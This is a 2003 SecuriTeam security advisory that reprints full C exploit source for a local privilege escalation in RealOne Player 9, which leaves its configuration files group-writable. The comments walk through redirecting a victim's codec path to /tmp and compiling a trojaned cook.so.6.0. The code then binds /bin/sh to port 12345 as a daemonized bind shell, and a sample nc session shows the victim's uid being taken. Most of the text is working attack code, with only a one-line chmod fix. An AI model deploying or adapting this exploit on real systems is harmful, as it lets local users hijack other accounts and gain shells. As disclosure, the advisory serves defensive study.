[EXPL] RealOne Player 9 Privileges Escalation (cook.so.6.0)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/17/03

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Date: 17 Sep 2003 15:58:31 +0200

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      RealOne Player 9 Privileges Escalation (cook.so.6.0)
    ------------------------------------------------------------------------

    SUMMARY

    The following is an exploit code for the RealOne Player 9 vulnerability
    (incorrect default permissions). The vulnerability allows escalation to
    privileges to the person using the utility by taking advantage of group
    write permissions on user configuration files.

    DETAILS

    Vulnerable systems:
     * RealOne Player version 9

    Exploit:
    /**
     * rp9-priv-esc.c
     *
     * A local privilege escalation attack against the community supported
     * version of Real.com's Realplayer, version 9.
     *
     * Written by:
     *
     * Jon Hart <warchild@spoofed.org>
     *
     * By default, configuration files are stored in ~$USER/.realnetworks/,
     * but all the files in there are group writeable. So long as ~$USER
     * has group execution permissions (which is pretty common), a malicious
     * local user can edit the config files of fellow users to do his
    biddings.
     *
     * There are a number of ways to attack this, but after some poking it
    seems
     * that modifying the path to shared libraries and writing my own
    malicious
     * shared libraries was the easiest.
     *
     * (as an aside, just because the shared libraries in the directories
    contained
     * in ~$USER/.realnetworks/RealShared_0_0/ are stripped doesn't mean we
    can't get
     * the symbols back. objdump quickly can tell us what the names of the 15

     * functions are, and we can stub out a bogus shared library pretty
    quickly.)
     *
     * This particular bit of code is meant to replace the shared library
     * cook.so.6.0, which is contained in the Codecs directory. To execute
    this
     * attack against a fellow local user, first edit their config file
     * (~victim/.realnetworks/RealShared_0_0) to have the 'dt_codecs' variable
     * point to a directory under your control, like /tmp/Codecs. Copy all of
    the
     * existing files from the previous value of dt_codecs (which is usually
    something
     * like ~victim/Real/Codecs/) to /tmp/Codecs. Next, compile the code
    below as a
     * shared library and copy it to the trojaned directory:
     *
     *
     * `gcc -shared -fPIC -o /tmp/Codecs/cook.so.6.0 rp9-priv-esc.c`
     *
     * The next time the victim fires up realplayer 9, a nice little shell
     * will be listening on port 12345 for you:
     *
     * guest@haiti:/$ id
     * uid=1006(guest) gid=100(users) groups=100(users)
     * guest@haiti:/$ nc localhost 12345
     * id
     * uid=1000(warchild) gid=100(users) groups=100(users),40(src),1003(wheel)
     *
     * Of course, you don't have to execute a shell. Do whatever makes you
    happy.
     *
     * Fix? `chmod 700 ~/.realnetworks/*`
     *
     * Copyright (c) 2003, Jon Hart
     * All rights reserved.
     *
     * Redistribution and use in source and binary forms, with or without
    modification,
     * are permitted provided that the following conditions are met:
     *
     * * Redistributions of source code must retain the above copyright
    notice,
     * this list of conditions and the following disclaimer.
     * * Redistributions in binary form must reproduce the above copyright
    notice,
     * this list of conditions and the following disclaimer in the
    documentation
     * and/or other materials provided with the distribution.
     * * Neither the name of the organization nor the names of its
    contributors may
     * be used to endorse or promote products derived from this software
    without
     * specific prior written permission.
     *
     *
     * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
    "AS IS"
     * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
    THE
     * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
    PURPOSE
     * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS
    BE
     * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
    CONSEQUENTIAL
     * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
    GOODS OR
     * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
    HOWEVER
     * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
    LIABILITY,
     * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
    THE
     * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
    DAMAGE.
     *
     *
     *
     *
     */
    #define PORT 12345
    #include <stdio.h>
    #include <signal.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <stdlib.h>

    void RAInitEncoder(void) { }
    /** This just happens to be one of the first
     * functions that realplayer calls after cook.so.6.0 is loaded
     */
    void RAOpenCodec2(void) { cookthis(); }
    void RAOpenCodec(void) { }
    void RAGetNumberOfFlavors(void) { }
    void RACloseCodec(void) { }
    void RADecode(void) { }
    void RAEncode(void) { }
    void RAFreeEncoder(void) { }
    void RAGetNumberOfFlavors2(void) { }
    void RAFreeDecoder(void) { }
    void RAFlush(void) { }
    void RAGetFlavorProperty(void) { }
    void G2(void) { }
    void RASetFlavor(void) { }
    void RAInitDecoder(void) { }
    void RACreateEncoderInstance(void) { }

    /* Bind /bin/sh to PORT. It forks
     * and all that good stuff, so it won't
     * easily go away.
     */
    int cookthis() {

            int sock_des, sock_client, sock_recv, sock_len, server_pid,
    client_pid;
            struct sockaddr_in server_addr;
            struct sockaddr_in client_addr;

            if ((sock_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
                    exit(EXIT_FAILURE);

            bzero((char *) &server_addr, sizeof(server_addr));
            server_addr.sin_family = AF_INET;
            server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
            server_addr.sin_port = htons(PORT);

            if ((sock_recv = bind(sock_des, (struct sockaddr *) &server_addr,
    sizeof(server_addr))) != 0)
                    exit(EXIT_FAILURE);
            if (fork() != 0)
                    exit(EXIT_SUCCESS);
            setpgrp();
            signal(SIGHUP, SIG_IGN);
            if (fork() != 0)
                    exit(EXIT_SUCCESS);
            if ((sock_recv = listen(sock_des, 5)) != 0)
                    exit(EXIT_SUCCESS);
            while (1) {
                    sock_len = sizeof(client_addr);
                    if ((sock_client = accept(sock_des, (struct sockaddr *)
    &client_addr, &sock_len)) < 0)
                            exit(EXIT_SUCCESS);
                    client_pid = getpid();
                    server_pid = fork();
                    if (server_pid != 0) {
                            dup2(sock_client,0);
                            dup2(sock_client,1);
                            dup2(sock_client,2);

                            execl("/bin/sh","realplay",(char *)0);
                            close(sock_client);
                            exit(EXIT_SUCCESS);
                    }
                    close(sock_client);
            }
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:warchild@spoofed.org> Jon
    Hart.

    ========================================

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